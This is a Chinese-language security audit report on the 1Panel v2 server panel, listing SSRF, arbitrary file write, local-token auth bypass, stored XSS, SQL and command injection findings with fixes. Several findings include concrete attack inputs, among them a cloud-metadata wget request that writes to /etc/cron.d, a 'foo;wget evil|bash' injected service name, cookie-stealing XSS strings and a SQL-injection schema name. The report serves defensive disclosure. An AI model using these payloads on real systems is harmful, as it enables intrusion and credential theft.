1Panel v2 安全审计报告
审计对象:1Panel 开源服务器管理面板(分支
dev-v2)
审计时间:2026-08-11
审计范围:core/(Go 管理后端)、agent/(Go 代理服务)、frontend/src/(Vue 3 前端)
审计类别:反序列化、命令执行 / RCE、SQL 注入、未授权访问、越权 / IDOR、硬编码凭据、XSS、SSRF、路径穿越
一、审计结论摘要
- 未发现"低权限远程攻击者 → 直接 RCE"的完整漏洞链。Go 侧整体对
exec.Command采用参数数组安全模式;GORM 查询绝大多数参数化;会话、CSRF、登录锁均使用crypto/rand,质量良好。 - 最严重的问题是 SSRF 面过大 + 一处任意文件写入。整个代码库没有任何出站 SSRF 防护(
InsecureSkipVerify默认开启、无 IP 白名单、无 scheme 限制、无 DNS rebinding 防护),文件下载 Wget 可将响应体写入任意路径(agent 通常以 root 运行)。 - 认证面存在一处明确的信任边界缺陷:
LOCAL_REQUEST本地令牌只校验"非空"不校验"值",任何能向面板发起环回连接的一方即可绕过全套认证栈。 - 前端存在存储型 XSS:网站主域名在更新接口无校验入库,删除确认弹窗用
v-html渲染。 - 已核查的安全项(会话 gob 反序列化、Go 模板注入、Order 注入白名单、匿名路径清单、公开分享 token 防护等)均有正确防护,详见表三,防误报。
漏洞统计
| 级别 | 数量 | 说明 |
|---|---|---|
| 严重 Critical | 0 | 无需认证/低权限直达系统权限的漏洞 |
| 高 High | 4 | 需认证但可获取系统/数据/权限,或影响面大 |
| 中 Medium | 12 | 有前置条件(如需认证、环回、被管数据库)但可利用 |
| 低 Low | 14 | 条件苛刻或纯纵深防御缺陷 |
二、已确认漏洞明细
高危 (High)
H-1. 文件管理 Wget:任意 URL 下载 + 任意文件写入(SSRF + 后门落盘)
- 位置:
agent/app/api/v2/file.go:582→agent/app/service/file.go:890-910→agent/utils/files/file_op.go:466-510 - 类别:SSRF + 任意文件写入(组合提权)
- 代码:
// file.go:890 func (f *FileService) Wget(w request.FileWget) (string, error) { ... return key, fo.DownloadFileWithProcess(w.Url, filepath.Join(w.Path, w.Name), key, options) } // file_op.go:473,503 request, err := http.NewRequest("GET", url, nil) // url 无 scheme/host 校验 ... out, err := os.Create(dst) // dst = w.Path + w.Name,任意路径 - 攻击链:任意已登录用户
POST /api/v2/files/wget,body 为{"url":"http://169.254.169.254/latest/meta-data/", "path":"/etc/cron.d/", "name":"xx", "ignoreCertificate":true}→ 服务端发起出站请求,并将响应体写入任意路径。可用于:探测云元数据(获取 IAM 临时凭证)、扫描内网端口、把下载内容落盘为 cron 定时任务等后门(agent 通常以 root 运行)。 - 附加问题:
IgnoreCertificate默认可开启InsecureSkipVerify(file_op.go:448-451);http.Client默认跟随 302 重定向,重定向目标无校验。 - 修复:
url.Parse后仅允许http/https;解析后对目标 IP 拦截私网/环回/链路本地/元数据地址(169.254.169.254);重定向目标同样校验;目标写入路径限定在白名单目录;取消默认InsecureSkipVerify。
H-2. LOCAL_REQUEST 信任边界:本地令牌"非空即放行",可绕过全套认证栈
- 位置:
core/middleware/ip_limit.go:53-67(isLocalSyncRequest) - 类别:认证绕过 / 信任边界
- 代码:
func isLocalSyncRequest(reqPath, clientIP, token string) bool { ip := net.ParseIP(clientIP) if ip == nil || !ip.IsLoopback() { return false } switch reqPath { case "/api/v2/core/xpack/sync/ssl": return token != "" // 只校验存在,不校验值! case "/api/v2/core/settings/ssl/reload": return token != "" ... } - 影响面:命中后
c.Set("LOCAL_REQUEST", true),绕过SessionAuth、PasswordExpired、CSRF、BindDomain全套中间件。受影响路由:POST /api/v2/core/settings/ssl/reload(ro_setting.go:48-51,无 SessionAuth,直接可达)POST /api/v2/core/xpack/sync/ssl(xpack 同步)
- 攻击场景:
GetRealClientIP基于不可伪造的RemoteAddr(真实回环源),远程直连无法伪造;但任何本机进程 / 本机低权用户 / 面板内任意 SSRF 原语(如 H-1 的 Wget 请求http://127.0.0.1:9999/api/v2/core/settings/ssl/reload)只要附带X-Panel-Local-Token: <任意非空值>即可触发,造成未认证触发系统 SSL 重载(重新生成证书、重启面板 TLS,DoS 级)。 - 修复:本地令牌必须用恒定时间比较校验真实值(与 agent 每日令牌一致),或改用 Unix socket 专属鉴权;杜绝"任意非空即放行"。
H-3. 备份云存储连通性/列举:用户直接提交 endpoint 即可触发出站连接(SSRF)
- 位置:
agent/app/service/backup.go:211-240(GetBuckets)、backup.go:136-171,348-381(CheckConn)→agent/utils/cloud_storage/client/{s3,webdav,sftp}.go - 类别:SSRF(HTTP/TCP 双通道)
- 代码:DTO
Vars string为自由 JSON(agent/app/dto/backup.go:42-49),endpoint/address/domain均取自请求体,无需已存账号:client, err := cloud_storage.NewCloudStorageClient(req.Type, varMap) // s3/minio/webdav/sftp/oss/cos/kodo return client.ListBuckets()s3.go:30-74:minio.New(任意 endpoint)webdav.go:30-54:fmt.Sprintf("%s:%s", address, port)sftp.go:30-72:ssh.Dial(net.JoinHostPort(...)),HostKeyCallback置nil
- 攻击场景:
POST /api/v2/backups/buckets,vars={"endpoint":"http://127.0.0.1:6379"}或{"address":"169.254.169.254","port":"22"}→ 服务器对该 host:port 发起连接。SFTP/WebDAV 变体可对任意主机端口做 TCP 探测,S3 变体响应可回显探测结果。 - 修复:对
endpoint/address/domain做 scheme 白名单 + IP 黑名单(私网/环回/链路本地/元数据),解析后校验目标地址。
H-4. 存储型 XSS:网站主域名 → 删除确认弹窗 v-html
- 位置:
- 入污点:
agent/app/service/website.go:641website.PrimaryDomain = req.PrimaryDomain(更新路径无任何校验;创建路径website_utils.go:1246有NginxServerNamePattern校验,更新路径绕过) - 渲染:
frontend/src/views/website/website/delete/index.vue:35<span v-html="deleteHelper">,:98i18n.global.t('website.deleteConfirmHelper', [website.primaryDomain]) - 模板:
frontend/src/lang/modules/zh.ts:3362deleteConfirmHelper: '删除操作无法回滚,请输入 <span style="color:red"> "{0}" </span> 删除'(含原生 HTML 且{0}直接插值)
- 入污点:
- 类别:存储型 XSS
- 攻击链:已登录用户创建网站后
PUT更新primaryDomain为<img src=x onerror=alert(document.cookie)>→ 任何人打开该网站的删除弹窗即触发,在面板域内执行 JS,可窃取会话 Cookie / CSRF token。 - 修复:
UpdateWebsite复用NginxServerNamePattern校验主域名;删除弹窗移除v-html改为文本插值,或对插值内容做 HTML 转义。
中危 (Medium)
M-1. MySQL 本地客户端 SyncDB:数据库名直接拼进原生 SQL(唯一绕过 CheckIllegal 的注入点)
- 位置:
agent/utils/mysql/client/local.go:350 - 类别:SQL 注入(原生 SQL 字符串拼接)
- 代码:
userLines, err := r.ExecSQLForRows(fmt.Sprintf("select user,host from mysql.db where db = '%s'", parts[0]), 300)parts[0]来自SELECT SCHEMA_NAME ... FROM information_schema.SCHEMATA的服务器端真实 schema 名,未做转义。 - 攻击链:在被管理的 MySQL 中预建一个名字含单引号的库(如反引号标识符
x' UNION SELECT user,password FROM mysql.user --,MySQL 允许),任意有该库写权限的人可建;随后管理员触发POST /api/v2/databases/load(database_mysql.go:1026LoadFromRemote→SyncDB),恶意库名被拼进 SQL,单引号逃逸后可执行任意 SQL。 - 佐证:同类代码在 remote 客户端是正确的参数化(
remote.go:416where db = ?)。 - 降级说明:注入目标是 1Panel 正在管理的那个 MySQL 实例,管理员本就可通过 SQL 控制台执行任意 SQL,故未跨越 1Panel 自身安全边界,定中危。
- 修复:与
remote.go:416对齐改为Query("... where db = ?", parts[0])。
M-2. 被管理数据库 DDL 大量 fmt.Sprintf 拼接,依赖 CheckIllegal 黑名单兜底(纵深防御缺陷)
- 位置:
agent/utils/mysql/client/user_sql.go:42,49,59,94-96、agent/utils/mysql/client/{local,remote}.go(create/drop database、drop user、set password)、agent/utils/postgresql/client/{local,remote}.go(CREATE DATABASE "%s"、CREATE USER "%s" WITH PASSWORD '%s'、DROP USER "%s"等) - 类别:SQL 注入(潜在)
- 现状:所有 DTO 入口均被
agent/utils/cmd/cmd.go:18 CheckIllegal拦截(封禁& | ; $ ' \( ) " \n \r > <`,恰好覆盖逃逸所需字符)。 - 残余风险:黑名单而非白名单/转义。任何新增或漏写 guard 的调用方,上述任一
fmt.Sprintf立即变为可利用注入(M-1 正是活例子——local.go:350 无 guard)。属"定时炸弹"式问题。 - 修复:在 SQL 构造器内部统一做转义(
'→''、反引号→\``、双引号→""),不再依赖 service 层散落的CheckIllegal`。
M-3. AI 供应商 BaseURL 校验/发现:用户可控 baseURL 被服务端请求(SSRF)
- 位置:
agent/app/provider/verify.go:41-64、discover.go:11-20;入口agent/app/api/v2/agents.go:592-602/api/v2/ai/accounts/verify - 类别:SSRF(认证用户,任意角色)
- 攻击场景:以"自定义"供应商类型提交
baseURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/,服务端 GET;verify 回显可辅助数据外带。 - 修复:校验
BaseURL仅http/https、禁止私网/环回/元数据地址;方法白名单化。
M-4. MCP 服务器连接测试:BaseURL 构造任意端点(SSRF)
- 位置:
agent/app/service/mcp_server.go:338-407、:815-823 - 类别:SSRF(认证用户,任意角色)
- 攻击场景:提交
BaseURL=http://127.0.0.1:<服务>/...,服务端发起 GET/POST,可探测内网 HTTP 服务,POST 变体可向内网注入请求体。 - 修复:同 M-3,统一出站校验。
M-5. 自定义 ACME CA 目录 URL(SSRF)
- 位置:
agent/app/service/website_acme_account.go:58-60(存储CaDirURL)、agent/utils/ssl/acme.go:240-280、manual_client.go:82-86 - 类别:SSRF(管理员配置;lego 会请求目录及其 newNonce/newOrder 等子资源,并跟随响应中的 Location/Link 头)
- 攻击场景:SSL 证书申请时自定义 CA 目录填
http://169.254.169.254/,lego 服务端发起请求;响应驱动的 URL 可指向内网。 - 修复:
CaDirURL仅允许https且非私网地址;禁止 ACME 响应头指向非目录同域 URL。
M-6. 自定义 DNS 供应商端点(DNS-01)(SSRF)
- 位置:
agent/utils/ssl/dns_provider.go:285-310(OvhAPIEndpoint、AcmeDNSAPIBase、TechnitiumBaseURL) - 类别:SSRF(管理员,证书签发时 lego 对端点发起请求)
- 修复:对 Endpoint/BaseURL 做 scheme + IP 校验。
M-7. 容器镜像仓库地址:Docker 引擎代连 + daemon.json 注入(SSRF)
- 位置:
agent/app/service/image_repo.go:82-112,228-251、docker.go:150-164 - 类别:SSRF(间接,Docker 引擎发起连接;持久化后门)
- 攻击场景:仓库地址填内网 registry,
docker login/后续 pull 由 Docker 引擎连向该主机;insecure-registries使后续镜像拉取指向任意主机(供应链/内网扫描)。校验仅CheckIllegal,无 URL/IP 校验。 - 修复:仓库地址解析后拦截私网/元数据地址;daemon.json 写入前校验。
M-8. 手动 DNS 解析服务器:UDP DNS SSRF
- 位置:
agent/app/service/website_ssl.go:180-186、agent/utils/ssl/manual_client.go:402-463(handleNameserver追加:53后 UDP 查询) - 类别:SSRF(UDP/DNS);名称服务器校验仅
common.IsValidIP(语法校验,允许私网/环回/链路本地)。 - 修复:拒绝私网/环回/链路本地/元数据地址作为 nameserver。
M-9. 远程节点系统服务管理:serviceName 未转义拼接进远程 shell(命令注入,条件性)
- 位置:
core/utils/ssh/ssh.go:131-142(Runf→CombinedOutput(fmt.Sprintf(shell, args...)))→core/utils/controller/manager/common.go:22-27(LANGUAGE=en_US:en %s %s)→systemd.go:63-64、controller.go:45-68 - 类别:命令注入(远程 shell)
- 攻击场景:多节点部署(xpack 付费版)时,宿主服务控制 API 传入的
serviceName经LoadServiceName仅做小写/去后缀处理,未做 shell 转义。构造serviceName="foo;wget evil|bash"即可在被管理节点上执行任意命令。 - 降级说明:OSS 构建下
NewWithClient无调用者,不可达;需确认付费模块调用点与节点权限模型。 - 修复:改为参数数组方式传 argv,
LoadServiceName处白名单校验[a-zA-Z0-9_@.-]。
M-10. 监控图表 tooltip:进程名/用户名未转义进入 HTML(DOM XSS)
- 位置:
frontend/src/views/host/monitor/monitor/index.vue:668-684(CPU)、:711-732(内存);frontend/src/views/ai/gpu/history/index.vue:481-497 - 类别:DOM XSS(ECharts tooltip 字符串 formatter 默认按 HTML 渲染)
- 攻击场景:被监控主机上存在进程名/用户名为
<img src=x onerror=...>的进程,管理员悬停图表即触发。单机需先有主机进程控制(自 XSS 链);多节点/集群场景下,被降级信任的节点 agent 上报的进程名可在主控面板 admin 会话中触发,是有意义场景。 - 修复:tooltip formatter 内对进程名/用户做 HTML 转义,或改用
renderMode:'richText'。
M-11. 应用商店元数据链接:window.open(link) 无 scheme 校验(javascript: 可执行)
- 位置:
frontend/src/views/app-store/detail/index.vue:134-136、installed/upgrade/index.vue:168-170、frontend/src/utils/browser.ts:1-15 - 类别:XSS(
window.open('javascript:...')在当前源执行) - 攻击场景:app-store 元数据(
website/github/document字段)来自 CDN 下发(经 HTTP + InsecureSkipVerify,见 L-2),CDN 被 MITM/攻陷或企业自定义源被污染时,注入website: "javascript:alert(document.cookie)"→ 点击链接即执行。注意readMe字段有 DOMPurify,但 URL 字段无任何净化。 - 修复:
window.open前用new URL(link)校验protocol ∈ {http:,https:},非法则不打开。
M-12. c.ClientIP() 信任 X-Forwarded-For:多个安全判定可被 XFF 伪造
- 位置:全局(确认未调用
gin.SetTrustedProxies,gin 默认信任所有代理 → XFF 可伪造);具体用到c.ClientIP()的判定:core/app/api/v2/setting.go:352-353(ReloadSSL 回环校验)、agent/middleware/file_share_public.go:38(公开分享限速按 IP)、core/middleware/operation.go与core/app/api/v2/auth.go:537(登录/操作日志记录) - 类别:信任边界 / 日志伪造 / 限速绕过
- 攻击场景:攻击者设
X-Forwarded-For: 127.0.0.1可绕过 ReloadSSL 的回环校验(需会话);轮换 XFF 可重置公开文件分享的 IP 限速桶(分享密码爆破4/5s);可向登录/操作日志写入任意伪 IP。 - 缓解:登录暴力破解锁(IPTracker)使用不可伪造的
GetRealClientIP,GetAPIClientIP(API-Key IP 白名单)按ApiTrustedProxies(默认仅 127.0.0.1/::1)校验,这两处不受影响。 - 修复:安全判定一律改用
common.GetRealClientIP;启动时显式SetTrustedProxies(真实代理列表)。
低危 (Low)
| ID | 位置 | 类别 | 说明 |
|---|---|---|---|
| L-1 | core/app/auth/api_auth.go:227-234 |
认证逻辑缺陷 | ApiKeyValidityTime==0 时时间戳校验恒真;令牌 md5("1panel"+apiKey+timestamp) 可无限重放;令牌比较用 == 而非 hmac.Equal(时序侧信道)。修复:apiTime==0 拒绝放行、令牌比较改 hmac.Equal |
| L-2 | agent/utils/req_helper/request.go、core/utils/req_helper/requset.go |
全局出站无防护 | 两处 HTTP 助手均 InsecureSkipVerify:true、无 IP 白名单、无 scheme 限制,是多数 SSRF 漏洞的公共放大路径 |
| L-3 | core/cmd/server/conf/app.yaml:9-10 |
硬编码默认凭据 | 默认配置 admin/admin123 随二进制(go:embed)嵌入,mode: dev 下可登录。生产凭据由安装器 1pctl 生成,非生产可利用;但误用默认配置部署即得 admin 后门。修复:首次启动强制生成随机口令并引导修改 |
| L-4 | core/app/auth/auth.go:383 |
认证逻辑(时序) | 密码过期重置用明文 == 比较旧密码(非恒定时间);且管理员密码以可逆 AES 加密存储、密钥 EncryptKey(每实例 crypto/rand,95 位,非硬编码)与密文同库存放,数据库被读即全部凭据可解。建议改 KDF(bcrypt/argon2) |
| L-5 | core/app/api/v2/script_library.go:208-229 |
命令注入(远程) | 脚本名 fileName 未转义拼进 touch %s && cat > %s 远程 shell;管理员创建脚本名含 ;/$(...) 时二次注入。低危:创建脚本库本身需管理员。修复:文件名单引号转义 + 字符白名单 |
| L-6 | agent/utils/files/tar.go:27-36、tar_gz.go:89-95、zip.go、snapshot_recover.go:118 |
归档解包路径穿越 | 系统 tar/unzip 直接 -C 解包用户可控归档,tar/zip slip 面;依赖系统 tar 默认行为,纵深防御缺口。修复:用 Go archive/tar 解析并校验 ../symlink |
| L-7 | agent/app/service/file_share.go:64 |
弱随机(可忽略) | charset[int(b[i])%len(charset)] 模偏差,10-16 位随机码无实际影响 |
| L-8 | agent/app/service/file_share.go 公开分享端点(/share/info、/share/check、/share/download,ro_file.go:77-83) |
未授权访问(设计) | 无会话,仅校验分享 token(token 为 crypto/rand 生成)+ ShouldDenySensitiveFileRead 过滤敏感文件;属设计用途,建议确认 token 熵与范围校验 |
| L-9 | 前端 frontend/src/views/home/index.vue:838-843 |
XSS(低) | 首页节点跳转 window.open(addr + entrance),addr 来自节点 agent 上报,无 scheme 校验;恶意/被攻陷节点可执行 javascript: |
| L-10 | 前端 frontend/src/views/home/index.vue:1123 |
XSS(低) | 欢迎页 shadowRoot.innerHTML = res.data,数据来自本地 welcome/index.html;可被 H-1 任意文件写入链污染 |
| L-11 | 前端 frontend/src/views/login/components/login-form.vue:790-797 |
XSS(低,纵深) | OIDC 登录 window.location.assign(authorizationURL) 无前端协议校验(SAML 路径 utils/saml2.ts 有校验,此处缺失) |
| L-12 | 前端 frontend/src/utils/saml2.ts:12-23 |
开放重定向(低) | 校验仅拒绝 javascript:/data:,//evil.com 解析为跨源后放行,可钓鱼 |
| L-13 | 前端 frontend/src/views/app-store/installed/delete/index.vue:35 |
XSS(低) | 同 H-4 模式,v-html 渲染 app.name(需应用名含 HTML) |
| L-14 | agent/app/service/cronjob_helper.go:297-301 等 |
SSRF(低) | WAF ip_group_url、应用商店元数据/回调 URL(app.go:302-305、app_utils.go:1913)等以 HTTP + InsecureSkipVerify 拉取远程内容,CDN/配置源被控即供应链风险 |
三、已核查判定为【安全】的项(防误报)
| 位置 | 说明 | 结论 |
|---|---|---|
core/server/server.go:47 gob.Register(psession.SessionUser{}) |
仅注册、从不 gob.NewDecoder 解码用户可控数据;会话为进程内随机 cookie 映射 |
无反序列化 RCE |
text/template / html/template |
core/agent 均未用模板渲染用户/DB 内容 | 无模板注入 |
agent/app/service/agents_hermes.go:113-142 yaml.Unmarshal |
目标为类型化结构体与 map[string]interface{},yaml.v2 不实例化任意类型;文件 0600 非网络可控 |
最坏为解析 DoS,无 RCE |
agent/utils/cmd/cmdx.go、logs.go、website.go ExecComposer |
全部 exec.Command(name, arg...) 参数数组 + LookPath;CheckIllegal 封禁 &|;$'\()"\n\r><` |
安全 |
core/app/repo/common.go:123、agent/app/repo/common.go:232 .Order(fmt.Sprintf(...)) |
全局仅两处动态 Order,均经 OrderByValidationPattern = ^[a-zA-Z_][a-zA-Z0-9_]*$ 白名单,不匹配回退 created_at |
不可注入 |
.Raw/.Exec(operation.go 日志审计) |
sql 来自编译期嵌入的 Swagger 文档,用户输入只进 ? 参数 |
静态数据,不可控 |
.Group/.Having/.Select/.Table |
全库无非字面量调用 | 安全 |
core/middleware/session.go:61-70 isAnonymousAuthPath |
8 个匿名路径(captcha/passkey/mfa/login/logout/setting/welcome)均合法;/auth/expired/reset、/passkey/register 等在 SessionAuth 之后 |
无覆盖缺口 |
| 会话 ID / CSRF token / passkey 会话 ID | 均 crypto/rand;密码校验 hmac.Equal;登录暴力破解锁用不可伪造的 GetRealClientIP |
RNG/凭据存储质量良好 |
| agent 认证边界 | master 模式走 0600 Unix socket 由 core 反代;node 模式为 mTLS(RequireAndVerifyClientCert) |
整体健壮 |
RegisterImages(router.go:114-139) |
path.Base + strings.HasPrefix 约束 |
安全 |
四、可疑 / 待确认项
- xpack 路径未认证代理(
core/init/router/proxy.go:98、core/middleware/helper.go、password_expired.go豁免清单):/api/v2/core/xpack/settings/search等被 PasswordExpired 豁免且无会话代理到 agent。社区构建 agent 未注册 xpack 路由,实测 404;但企业/xpack 构建下 agent 一旦注册/xpack/*路由即自动成为未认证可达。建议在代理层对 xpack 路径强制会话/API 校验。 - OIDC 后端
authorizationURL生成逻辑位于闭源 xpack 层(core/utils/xpack/providers/auth.go),未确认是否存在redirect_uri反射;若可被攻击者影响,L-11 升为可直接利用。 - 应用商店自定义源(
syncCustomAppStore,xpack)是否允许普通用户添加任意仓库地址;若是,M-11 / L-14 触发条件从"CDN 攻陷"放宽为"普通用户自建仓库",严重性上升。 agent/app/service/backup.goCheckBackup对 S3 类账户的回显是否反射响应体内容(决定 H-3 数据外带可行度)。- 多节点/集群(企业版):节点 agent 上报的主机名/面板地址字段是否在监控、首页、网站列表等多处拼接进
window.open/v-html(当前仅确认 M-10、L-9 两处)。 agent/app/service/device_clean.go:1078Where("task_recover_id != ", "")缺少?占位符 → 生成的 SQL 非法被_ =吞掉,recoverIDs永远为空(功能性 bug,非注入;快照回收清理时可能误删仍被占用的恢复记录)。
五、修复优先级建议
第一优先级(共性根因,一举覆盖大部分漏洞)
- 建立全局"出站请求安全策略":在
core+agent各建一个出站 HTTP 客户端(scheme 白名单http/https+ 解析后 IP 黑名单拦截私网/环回/链路本地/169.254.169.254 + 禁止跨主机重定向 + 取消默认InsecureSkipVerify),替换req_helper、file_op及各云端/ACME/DNS/MCP/AI 客户端入口。覆盖 H-1、H-3、M-3~M-8、L-14。 - H-1 任意文件写入需同时收敛写入路径白名单(高危提权组合)。
- H-2 LOCAL_REQUEST:本地令牌改为真实值恒定时间校验。
- H-4 存储型 XSS:
UpdateWebsite复用NginxServerNamePattern;删除弹窗去v-html。
第二优先级
- M-1 SQL 注入:local.go:350 对齐 remote.go:416 参数化;SQL 转义收敛到 MySQL/PG client 构造器内部。
- M-9 远程节点命令注入:
Runf/manager/common.go的 SSH 字符串拼接改为参数数组(即使仅影响 xpack 也应在共享层修复)。 - M-12 XFF:安全判定统一
GetRealClientIP+ 启动时SetTrustedProxies。
第三优先级
- 前端:tooltip 字段转义(M-10);
window.open统一过new URL协议校验(M-11/L-9);为面板添加 CSP 与 X-Frame-Options 兜底。 - L-1 令牌:
apiTime==0拒绝放行、令牌比较hmac.Equal。 - L-3 默认凭据:默认配置不内置可登录口令。
- 归档解包(L-6)改 Go 库解析并校验成员路径;脚本库文件名转义(L-5)。
附:审计方法
- 四路并行代理按类别审计:RCE/反序列化、SQL 注入、认证/越权/硬编码/路径穿越、SSRF/XSS,均逐行阅读源码确认攻击链。
- 关键发现经二次人工核实:
ip_limit.go本地令牌逻辑、local.go:350SQL 拼接、website.go:641域名更新无校验 +delete/index.vuev-html 渲染、file.go:890+file_op.go:473/503任意 URL 下载写盘、gin.SetTrustedProxies未设置、conf/app.yaml默认凭据、ro_setting.go:48-51ssl/reload 无 SessionAuth。 - 严重性按"攻击者所需权限 × 可利用性 × 影响范围"综合评定;所有"设计用途"路径(终端、脚本库、docker exec)均明确标注。
正文完